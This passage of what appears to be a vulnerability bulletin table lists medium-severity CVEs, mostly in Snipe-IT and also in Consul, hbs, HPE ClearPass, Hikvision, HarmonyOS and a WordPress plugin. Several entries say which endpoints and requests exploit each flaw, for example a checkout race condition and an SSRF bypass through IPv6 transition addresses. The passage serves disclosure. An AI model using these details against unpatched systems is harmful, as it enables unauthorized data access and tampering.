&lt;td&gt;Snipe-IT before 8.7.0 fails to properly gate access to encrypted custom-field values in asset form templates for listbox, textarea, markdown-textarea, and date/datetime picker elements. Authenticated users with assets.edit, assets.checkin, assets.checkout, or assets.audit permissions can read plaintext encrypted custom field values by opening asset forms, bypassing the assets.view.encrypted_custom_fields permission check.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86757&quot; target=&quot;_blank&quot;&gt;CVE-2026-86757&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;grokability--snipe-it&lt;/td&gt;
&lt;td&gt;Snipe-IT before 8.7.0 fails to properly enforce the viewKeys authorization gate in CSV export and API index endpoints, allowing authenticated users with only licenses.view permission to access product keys. Attackers can download all license keys in bulk via CSV export or validate candidate keys through API response discrepancies without needing the viewKeys permission.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86758&quot; target=&quot;_blank&quot;&gt;CVE-2026-86758&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;grokability--snipe-it&lt;/td&gt;
&lt;td&gt;Snipe-IT through 8.6.4 (fixed in 8.7.0) does not enforce the components.view permission on the authenticated endpoint GET /api/v1/hardware/&amp;lt;asset-id&amp;gt;/assigned/components. The endpoint authorizes only assets.view on the parent asset before returning linked component details; the components.view check is applied only to the response&#039;s available_actions.view flag and not to the returned data. As a result, an authenticated user holding only assets.view can enumerate component IDs, names, assigned quantities, and notes that are otherwise protected - the direct GET /api/v1/components/&amp;lt;id&amp;gt; endpoint correctly returns 403 Forbidden for such users.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86764&quot; target=&quot;_blank&quot;&gt;CVE-2026-86764&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;grokability--snipe-it&lt;/td&gt;
&lt;td&gt;Snipe-IT versions before 8.7.0 fail to enforce checkout authorization when assignment fields are submitted to the asset update endpoint. Authenticated users with edit permission but explicitly denied checkout permission can reassign assets, bypass check-in procedures, and alter custody records by submitting assigned_user, assigned_asset, or assigned_location parameters to PATCH /api/v1/hardware/{id}.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86765&quot; target=&quot;_blank&quot;&gt;CVE-2026-86765&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;grokability--snipe-it&lt;/td&gt;
&lt;td&gt;Snipe-IT versions up to and including 8.6.3 contain a race condition (TOCTOU) in the consumable checkout API endpoint (POST /api/v1/consumables/{consumable_id}/checkout). The requested quantity is validated against the number of remaining units before the database transaction begins, and the transaction then creates the checkout records without locking the consumable row or re-checking availability. An authenticated user with permission to check out consumables can submit concurrent checkout requests for the same consumable so that both requests pass the availability check and succeed, over-allocating stock and driving the remaining inventory negative (e.g., a consumable with 1 remaining unit ends at -1 after two concurrent 1-unit checkouts). The issue is fixed in 8.7.0, which re-fetches the parent row under lockForUpdate inside the transaction and re-validates availability.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86766&quot; target=&quot;_blank&quot;&gt;CVE-2026-86766&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;grokability--snipe-it&lt;/td&gt;
&lt;td&gt;Snipe-IT versions before 8.7.0 contain a broken access control vulnerability in AssetModelPolicy where the files() method cascades from assets.files permission, allowing authenticated users to upload and delete file attachments on Asset Model records without the required models.files permission. Attackers with only assets.files permission can mutate shared model file attachments across company boundaries and bypass the dedicated models.files permission intended to restrict file management on the shared Asset Model catalog.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86774&quot; target=&quot;_blank&quot;&gt;CVE-2026-86774&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;grokability--snipe-it&lt;/td&gt;
&lt;td&gt;snipe-it versions before 8.7.0 contain a server-side request forgery vulnerability in the ExternalUrl validation rule that fails to detect IPv6 transition addresses encoding private IPv4 targets. Attackers with super-admin privileges can configure webhook URLs using NAT64, 6to4, or Teredo transition addresses to bypass SSRF guards and access internal services or cloud metadata endpoints.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86735&quot; target=&quot;_blank&quot;&gt;CVE-2026-86735&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;grokability--snipe-it&lt;/td&gt;
&lt;td&gt;Snipe-IT versions before 8.7.0 fail to properly scope asset acceptance report queries by company, allowing authenticated reports.view users to read pending acceptances across all companies. Attackers can access the unaccepted_assets report page or CSV export to disclose cross-company inventory details and assignee names without per-row access validation.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86743&quot; target=&quot;_blank&quot;&gt;CVE-2026-86743&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;grokability--snipe-it&lt;/td&gt;
&lt;td&gt;Snipe-IT is an open source IT asset management system. In versions up to and including 8.6.3, the report acceptance endpoints POST /reports/unaccepted_assets/sent_reminder (ReportsController::sentAssetAcceptanceReminder) and DELETE /reports/unaccepted_assets/{acceptanceId}/delete (ReportsController::deleteAssetAcceptance) are not correctly scoped when Full Multiple Company Support (FMCS) is enabled. In 8.6.3 the guard ReportsController::currentUserCanAccessAcceptance() early-exits with &#039;return true&#039; when &#039;! $user-&amp;gt;company_id&#039; is truthy, which is the case for every pivot-only user (a user associated with companies through the company_user pivot table whose scalar users.company_id column is NULL); versions prior to 8.6.3 lacked the guard altogether. As a result, an authenticated user holding the reports.view permission can send acceptance-reminder emails for, and permanently delete, any pending acceptance record in the install regardless of which company owns the underlying checkoutable. Deletion is destructive and forfeits the acceptance audit trail for the affected item, and the reminder email exposes limited cross-company acceptance context (item name and assignment metadata) to the recipient. Acceptance IDs are sequential integers and can be enumerated. This issue is fixed in version 8.7.0.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86747&quot; target=&quot;_blank&quot;&gt;CVE-2026-86747&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;grokability--snipe-it&lt;/td&gt;
&lt;td&gt;snipe-it versions before 8.7.0 fail to enforce per-instance FMCS scoping in asset audit endpoints, relying solely on query-layer filtering instead of policy-layer authorization checks. Attackers with valid sessions and assets.audit permissions could write audit log entries against cross-company assets if the query-layer scope were bypassed or refactored.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86752&quot; target=&quot;_blank&quot;&gt;CVE-2026-86752&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;grokability--snipe-it&lt;/td&gt;
&lt;td&gt;Snipe-IT versions 4.2.0 through 8.6.3 expose Laravel Passport&#039;s auto-registered personal-access-token routes (GET, POST, DELETE /oauth/personal-access-tokens*) with only &#039;web&#039; and &#039;auth:web&#039; middleware, without the self.api permission gate that Snipe-IT enforces on its own token endpoints (/account/api and /api/v1/account/personal-access-tokens). Any user with a valid web session and the corresponding CSRF token can POST to /oauth/personal-access-tokens and mint a long-lived bearer token for their own account, even when an administrator has denied the self.api permission. The issued token is still subject to existing per-endpoint authorization policies, so this is not a privilege escalation; it defeats the administrative control intended to block API/scripted access at the user&#039;s own permission level. Fixed in 8.7.0 (commit 3f74b8c), which registers overriding routes wrapped in the can:self.api middleware.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86755&quot; target=&quot;_blank&quot;&gt;CVE-2026-86755&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;grokability--snipe-it&lt;/td&gt;
&lt;td&gt;Snipe-IT versions 8.2.0 through 8.6.x (fixed in 8.7.0) contain an incorrect authorization flaw in app/Http/Controllers/Users/UsersController::update(). The single-user edit route assigned the activated field from the request payload before evaluating the canEditAuthFields authorization gate, so an authenticated non-admin user holding the users.edit permission in the target&#039;s company scope can submit a full valid PUT request to /users/{id} and toggle the activated flag on any user, including admin and superuser accounts. Deactivating an admin locks that account out of the application until another admin or superuser re-enables it. Only the activated field is affected; username, email, password and permissions remain protected by the gate, no data is disclosed, and the API (Api\UsersController::update) and bulk-edit paths are not affected.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86760&quot; target=&quot;_blank&quot;&gt;CVE-2026-86760&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;grokability--snipe-it&lt;/td&gt;
&lt;td&gt;Snipe-IT versions before 8.7.0 fail to apply company scope filtering to the GET /hardware/requested endpoint when Full Multiple Company Support is enabled, allowing authenticated users with assets.view permission to read pending asset requests from all companies. Attackers can retrieve cross-tenant data including requested asset names, requester display names and profile links, locations, and expected check-in dates without parameter manipulation.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86767&quot; target=&quot;_blank&quot;&gt;CVE-2026-86767&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;grokability--snipe-it&lt;/td&gt;
&lt;td&gt;Snipe-IT before 8.7.0 fails to validate soft-deleted state in API checkout endpoints, allowing authenticated users with checkout permissions to bind live inventory to trashed targets. Attackers can submit POST requests to hardware, component, or consumable checkout endpoints with soft-deleted user, asset, or location IDs to create orphaned references that corrupt the asset ledger and audit trails.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86768&quot; target=&quot;_blank&quot;&gt;CVE-2026-86768&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;grokability--snipe-it&lt;/td&gt;
&lt;td&gt;Snipe-IT versions before 8.7.0 contain a stored cross-site scripting vulnerability in DepartmentPresenter::formattedNameLink() where department names are rendered unescaped in the fallback branch for users without departments.view permission. Users with departments.edit permission can inject malicious scripts into department names that execute in the browsers of all department members when they load their My Assets page.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86772&quot; target=&quot;_blank&quot;&gt;CVE-2026-86772&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;grokability--snipe-it&lt;/td&gt;
&lt;td&gt;Snipe-IT through version 8.6.3 fails to perform object-level authorization in the updateLicense, updateConsumable, updateAccessory, and updateModel endpoints and in the storeModel endpoint for Predefined Kits. The existing check authorizes only the parent Predefined Kit (update on PredefinedKit) and not the child object being attached. As a result, an authenticated user holding only the kits.edit permission can attach a License, Consumable, Accessory, or Asset Model that they are otherwise denied (HTTP 403) from reading directly to a Predefined Kit, and the kit relation index then discloses the attached object&#039;s name back to that low-privilege user. This is the update-path and storeModel counterpart to CVE-2026-55478, which fixed only the storeLicense, storeConsumable, and storeAccessory methods in 8.6.2. Note that updateModel was code-vulnerable in 8.6.3 but not reachable in practice because a route-name typo bound the route to a nonexistent controller method, causing HTTP 500 responses. The issue is fixed in Snipe-IT 8.7.0.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86773&quot; target=&quot;_blank&quot;&gt;CVE-2026-86773&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;grokability--snipe-it&lt;/td&gt;
&lt;td&gt;Snipe-IT&#039;s predefined kit checkout path does not enforce Full Multiple Company Support (FMCS) tenant isolation on the checkout target. Unlike the single, bulk, API, accessory, license and consumable checkout paths, App\Services\PredefinedKitCheckoutService never calls $item-&amp;gt;canCheckoutTo($target); it only performs the actor-vs-item policy check and an availability check before persisting the checkout. With FMCS enabled, a non-superuser who belongs to at least two companies and holds the assets.checkout permission can POST to /kits/{kit}/checkout with a user_id belonging only to company B and have a company-A asset (and likewise kit licenses, consumables and accessories) assigned to that user, bypassing the company-mismatch check that blocks the same operation on every other checkout path. The issue is fixed in Snipe-IT 8.7.2; it was runtime-verified on v8.6.3 and code-inspected on v8.7.1, and the affected service has lacked the check since 2019, so earlier FMCS deployments are likely also affected.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88894&quot; target=&quot;_blank&quot;&gt;CVE-2026-88894&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;grokability--snipe-it&lt;/td&gt;
&lt;td&gt;snipe-it before 8.7.0 contains an incorrect calculation vulnerability in checkout request handling that allows authenticated users to corrupt the assets.requests_counter through duplicate submissions and cancellations without active requests. Attackers can repeatedly call cancel endpoints without active requests to drive the counter negative, or submit duplicate checkout requests to inflate the counter, misrepresenting pending demand in the admin queue.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86736&quot; target=&quot;_blank&quot;&gt;CVE-2026-86736&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;grokability--snipe-it&lt;/td&gt;
&lt;td&gt;snipe-it versions before 8.7.0 fail to enforce asset view authorization in the GET /hardware/{asset}/barcode endpoint. Authenticated attackers can iterate asset IDs to retrieve barcodes and enumerate asset tags across tenants, including soft-deleted and cross-company assets.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86737&quot; target=&quot;_blank&quot;&gt;CVE-2026-86737&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;grokability--snipe-it&lt;/td&gt;
&lt;td&gt;snipe-it versions before 8.7.0 fail to validate the requestable flag for asset models in the POST /account/request/asset_model/{modelId} endpoint. Authenticated users can bypass administrative restrictions and create checkout requests for non-requestable asset models by submitting requests directly to the endpoint.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86753&quot; target=&quot;_blank&quot;&gt;CVE-2026-86753&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;grokability--snipe-it&lt;/td&gt;
&lt;td&gt;snipe-it versions before 8.7.0 contain an authorization bypass vulnerability in location print endpoints that fails to enforce per-model authorization checks. Authenticated attackers with location view permission can access printassigned and printallassigned endpoints to retrieve related users, assets, accessories, consumables, and components regardless of their individual model permissions.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86761&quot; target=&quot;_blank&quot;&gt;CVE-2026-86761&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;grokability--snipe-it&lt;/td&gt;
&lt;td&gt;Snipe-IT versions before 8.7.0 contain an improper ownership management vulnerability in the consumables checkout API endpoint that records the checkout target user&#039;s id in the created_by column instead of the authenticated caller&#039;s id. Authenticated attackers with consumables.checkout permission can perform checkouts that result in misattributed audit trail entries in the consumables_users pivot table, obscuring which operator performed the action.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86769&quot; target=&quot;_blank&quot;&gt;CVE-2026-86769&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;HashiCorp--Consul&lt;/td&gt;
&lt;td&gt;Consul and Consul Enterprise are vulnerable to a denial of service in the native RPC listener that may allow an authenticated client to exhaust server memory before ACL authorization is evaluated. A client that can complete the internal RPC mTLS handshake may exploit this issue without holding a valid ACL token. This vulnerability (CVE-2026-87106) is fixed in Consul 2.0.4 and Consul Enterprise 1.21.18, 1.22.12 and 2.0.4.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87106&quot; target=&quot;_blank&quot;&gt;CVE-2026-87106&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;HashiCorp--Consul&lt;/td&gt;
&lt;td&gt;Consul and Consul Enterprise are vulnerable to an authorization bypass in the catalog deregistration path that may allow a local ACL token to delete peer-imported catalog objects. A caller with {{service:write}} or {{node:write}} permission may exploit this issue to remove services, checks, or nodes imported from a peered cluster without holding authority over the peer origin. This vulnerability (CVE-2026-87107) is fixed in Consul 2.0.4 and Consul Enterprise 1.21.18, 1.22.12 and 2.0.4.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87107&quot; target=&quot;_blank&quot;&gt;CVE-2026-87107&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;hbs--hbs&lt;/td&gt;
&lt;td&gt;hbs is an Express view engine wrapper for Handlebars. Version 4.3.0 can crash the Node.js process during output escaping when an async helper, registered with registerAsyncHelper, resolves to an object whose toHTML property is truthy but not callable. Handlebars escapeExpression calls the toHTML method on any value that has a truthy toHTML, so such a value throws a TypeError, and because the async substitution runs on a later tick outside the render function&#039;s try/catch, the throw is an uncaught exception that terminates the process without sending a response. Only version 4.3.0 is affected, since the throwing escape was introduced by the fix for CVE-2026-16231 and earlier versions do not escape async helper values. It can be triggered remotely when an async helper resolves to an externally influenced object such as parsed JSON. The issue is fixed in hbs 4.3.1, and users should upgrade to hbs 4.3.1 or later.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87123&quot; target=&quot;_blank&quot;&gt;CVE-2026-87123&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Hewlett Packard Enterprise (HPE)--ClearPass Policy Manager (CPPM)&lt;/td&gt;
&lt;td&gt;A vulnerability in the ClearPass OnGuard agent could allow an authenticated remote attacker to elevate their own privileges on a vulnerable ClearPass OnGuard deployment. Successful exploitation could allow an attacker to obtain root privileges, leading to potentially unauthorized operation of the vulnerable system.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73788&quot; target=&quot;_blank&quot;&gt;CVE-2026-73788&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Hewlett Packard Enterprise (HPE)--ClearPass Policy Manager (CPPM)&lt;/td&gt;
&lt;td&gt;A vulnerability in the web-based management interface of CPPM guest account management services could allow an unauthenticated remote attacker to manipulate account settings. Successful exploitation could allow an attacker to extend network access beyond policy limits, leading to unauthorized prolonged use of network resources.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73789&quot; target=&quot;_blank&quot;&gt;CVE-2026-73789&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Hikvision--DS-KV9503&lt;/td&gt;
&lt;td&gt;There is an Improper Encryption Configuration Vulnerability in some Hikvision Intercom Products. This could allow attackers to forge M1 cards.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;5.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85544&quot; target=&quot;_blank&quot;&gt;CVE-2026-85544&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Hikvision--Wi-Fi series camera&lt;/td&gt;
&lt;td&gt;Some Wi-Fi series camera products have insufficient permission validation on certain interfaces, allowing authenticated low-privileged users to obtain device Wi-Fi configuration information through these interfaces.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85543&quot; target=&quot;_blank&quot;&gt;CVE-2026-85543&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Howyar--WeenyGenius&lt;/td&gt;
&lt;td&gt;WeenyGenius, a computer lab management system by Howyar Technologies, has a Missing Support for Integrity Check vulnerability. Unauthenticated attackers on the same network can intercept a student&#039;s connection packet and replay it, thereby forging the appearance that the student remains connected.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89179&quot; target=&quot;_blank&quot;&gt;CVE-2026-89179&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Huawei--HarmonyOS&lt;/td&gt;
&lt;td&gt;Permission control vulnerability in the app management module. Impact: Successful exploitation of this vulnerability may affect availability.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;6.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-41987&quot; target=&quot;_blank&quot;&gt;CVE-2026-41987&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Huawei--HarmonyOS&lt;/td&gt;
&lt;td&gt;Permission control vulnerability in the event notification module.Impact: Successful exploitation of this vulnerability may affect availability.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;6.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-49311&quot; target=&quot;_blank&quot;&gt;CVE-2026-49311&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Huawei--HarmonyOS&lt;/td&gt;
&lt;td&gt;Permission control vulnerability in the app lock module. Impact: Successful exploitation of this vulnerability may affect service confidentiality.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-49313&quot; target=&quot;_blank&quot;&gt;CVE-2026-49313&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Huawei--HarmonyOS&lt;/td&gt;
&lt;td&gt;Out-of-bounds read vulnerability in the graphics module. Impact: Successful exploitation of this vulnerability may affect availability.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81646&quot; target=&quot;_blank&quot;&gt;CVE-2026-81646&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Huawei--HarmonyOS&lt;/td&gt;
&lt;td&gt;Out-of-bounds read vulnerability in the graphics module. Impact: Successful exploitation of this vulnerability may affect availability.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81647&quot; target=&quot;_blank&quot;&gt;CVE-2026-81647&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Huawei--HarmonyOS&lt;/td&gt;
&lt;td&gt;Permission control vulnerability in the Settings module. Impact: Successful exploitation of this vulnerability may affect service confidentiality.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;4.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-49309&quot; target=&quot;_blank&quot;&gt;CVE-2026-49309&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Huawei--HarmonyOS&lt;/td&gt;
&lt;td&gt;Permission control vulnerability in the window module. Impact: Successful exploitation of this vulnerability may affect service confidentiality.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-49312&quot; target=&quot;_blank&quot;&gt;CVE-2026-49312&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Huawei--HarmonyOS&lt;/td&gt;
&lt;td&gt;DoS vulnerability in the preview service module. Impact: Successful exploitation of this vulnerability may affect availability.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81644&quot; target=&quot;_blank&quot;&gt;CVE-2026-81644&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Hustle--Hustle&lt;/td&gt;
&lt;td&gt;The Hustle WordPress plugin before 7.8.14.2 does not prevent shortcodes in submitted form values from being executed when it substitutes those values into the message it returns after submission, because the guard it applies can be defeated by nesting, allowing unauthenticated users to run any shortcode registered on the site.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;4.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80440&quot; target=&quot;_blank&quot;&gt;CVE-2026-80440&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
